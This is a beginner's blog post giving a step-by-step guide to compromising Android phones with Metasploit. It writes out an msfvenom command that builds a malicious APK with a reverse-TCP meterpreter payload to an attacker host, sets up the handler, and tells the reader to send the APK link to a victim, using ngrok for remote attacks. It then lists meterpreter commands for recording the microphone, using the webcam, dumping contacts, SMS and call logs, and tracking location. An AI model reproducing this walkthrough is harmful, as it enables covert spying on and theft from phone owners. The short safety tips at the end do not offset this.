Hello
This is my first blog regarding the android hacking with metasploit.
I am in the learning stage and if you found some error then point out them and feel free to contact me.
Step 1:-
First of all we have to open terminal and start some services with commands like:-
(a)start apache2 start
(b)start postgresql start
Then we have to start metasploit framework with the command msfconsole.
Step 2:-
Then we have to create android malware using metasploit framework in new window.
Execute the Command:-
msfvenom -p android/meterpreter/reverse_tcp LHOST= <attacker IP> LPORT= <attacker PORT> R > <filename.apk>
N.B:- msfvenom is a command line code that is used to generate and output all of the various types of shell code that are available in metasploit framework.
Step 3:-
Open the msfconsole tab in the terminal and let us use the multi/handler for a reverse connection from the victim.
So, to use multi/handler we use the command
use multi/handler
Step 4:-
Now its time to set payload.
So, here we are going to use
set payload android/meterpreter/reverse_tcp
Step 5:-
After successful selection of payload we have to check the LHOST and LPORT for reverse connection with the command
show profiles
Step 6:-
Now its time for exploit which give you a meterpreter session with the help of multi/handler.
Step 7:-
Now its time to send the download link which contains the malicious .apk file to the victim to download. You can use ngrok for WAN level attacks.
Voila!!!
You got the access of the android device.
Now use some basic meterpreter commands:-
pwd :- current directory
record_mic :- Record audio
webcam_chat :-start a video chat
webcam_list :-List webcams
webcam_snap:-Snapshot
webcam_stream:-Play a video stream from the specified webcam
check_root:- check device is rooted or not
dump_calllog:- Get call logs
dump_contacts:- Get contacts details
dump_sms:- Get sms messages
geolocate:- Get current location
send_sms:- send sms from target session
download <file_name> </location in which you want to save in your PC>:- To download some files
upload <file_name> </location in which you want to save in your PC>:- Upload some files
edit <file_name> :- File modification
N.B:- All the commands are in bold letters.
Suggestion:-
- Don't download from untrusted sources.
- Don't download pirated apks.
- If downloading then check ,is there some malicious code attached in the files or not.
- Always prefer downloading applications from APP STORE or GOOGLE PLAY STORE.
Thank You
